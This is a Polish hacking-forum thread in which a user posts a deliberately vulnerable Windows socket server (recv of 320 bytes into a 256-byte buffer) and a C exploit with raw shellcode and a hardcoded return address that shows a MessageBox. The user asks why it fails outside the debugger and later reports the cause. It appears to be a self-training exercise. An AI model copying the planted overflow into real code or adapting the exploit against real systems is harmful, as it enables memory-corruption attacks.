Pokaż wyniki 1 do 3 z 3

Temat: problem z exploitem =/

  1. #1
    rip
    rip jest offline Banned
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie problem z exploitem =/

    napisalem sobie taki programik:
    Kod:
    #include <windows.h>
    #include <winsock2.h>
    char haslo[]="ultratajne_1234*";
    char podaj[]="enter passłord: ";
    int thread(int s){
    char buff[256];
    int i;
    if(send(s, podaj, sizeof(podaj)-1, 0) != SOCKET_ERROR){
    if((i = recv(s, buff, 320, 0)) > 0){
    if(!strncmp(haslo, buff, i))send(s, "hi admin!\r\n", 11, 0);
    else send(s, "wrong pass!\r\n", 13, 0);
    }}
    closesocket(s);
    return EXIT_SUCCESS;
    }
    int main(){
    WSADATA wsa;
    struct sockaddr_in sinfo;
    struct timeval tv;
    int s, ss, rs;
    if(WSAStartup(0x0202, &wsa) == 0){
    if((s = socket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET){
    sinfo.sin_family = AF_INET;
    sinfo.sin_port = htons(31337);
    sinfo.sin_addr.s_addr = inet_addr("127.0.0.1");
    memset(sinfo.sin_zero, 0, sizeof(sinfo.sin_zero));
    tv.tv_sec = 10000;
    tv.tv_usec = 0;
    if(bind(s, (SOCKADDR*)&sinfo, sizeof(SOCKADDR)) != SOCKET_ERROR){
    listen(s, SOMAXCONN);
    while(1){
    if((ss = accept(s, 0, 0)) != INVALID_SOCKET){
    setsockopt(ss, SOL_SOCKET, SO_RCVTIMEO, (void*)&tv, sizeof(struct timeval));
    setsockopt(ss, SOL_SOCKET, SO_SNDTIMEO, (void*)&tv, sizeof(struct timeval));
    CreateThread(0,0,(LPTHREAD_START_ROUTINE)thread,(void*)ss,0,0);
    }
    }
    }
    closesocket(s);
    }
    WSACleanup();
    }
    return EXIT_SUCCESS;
    }
    i xploita pod niego:

    Kod:
    #include <windows.h>
    #include <winsock2.h>
    #include <stdio.h>
    int main(){
    WSADATA wsa;
    struct sockaddr_in sinfo;
    int s, i;
    char data[400];
    char exploit[272]="h3x""\x00\x31\xc0\x50\x50\x68\xac\xfe\xc3\x00\x50\xb8\x0b\x05\xd7\x77\xff\xd0";
    WSAStartup(0x0202, (WSADATA*)&data);
    sinfo.sin_family = AF_INET;
    sinfo.sin_port = htons(31337);
    sinfo.sin_addr.s_addr = inet_addr("127.0.0.1");
    memset(sinfo.sin_zero, 0, sizeof(sinfo.sin_zero));
    *(int*)&exploit[268]=0x00C3FEB0; //ahh jak ja to kocham -,-
    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (SOCKADDR*)&sinfo, sizeof(SOCKADDR));
    recv(s, data, sizeof(data), 0);
    send(s, exploit, sizeof(exploit), 0);
    
    closesocket(s);
    return EXIT_SUCCESS;
    }
    w c, zeby nie bylo za latwo.

    Jak puszczam go pod debuggerem, to messagebox jest caly, z napisem. A jak odpalam 'normalnie', to mb jest pusty.
    nie nadpisuje adresu powrotu z recv, wiec wnioskuje ze ma to zwiazek z \x00. chodz pod ollym dziala =( Ja nie mam pomyslu co robie zle, moze jakis watek miesza? Nie mam zadnych pomyslow, jakas magia.
    I kolejna sprawa, recv wylatywal z -1 jak podawalem mu duzo wiekszy 3 argument niz mialem bufor. 512 -> -1.
    Ostatnio edytowane przez rip : 06-15-2008 - 23:39

  2. #2
    rip
    rip jest offline Banned
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie

    bump? a tyle tu haxorow, nikt nie wie w czym tkwi problem?

  3. #3
    rip
    rip jest offline Banned
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie

    problem rozwiazany, debugger tworzyl watek, ktory zmianial adres stosu.

Podobne wątki

  1. Maly problem z exploitem:]
    By kryllann in forum Newbie - dla początkujących!
    Odpowiedzi: 6
    Autor: 03-17-2007, 20:48

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj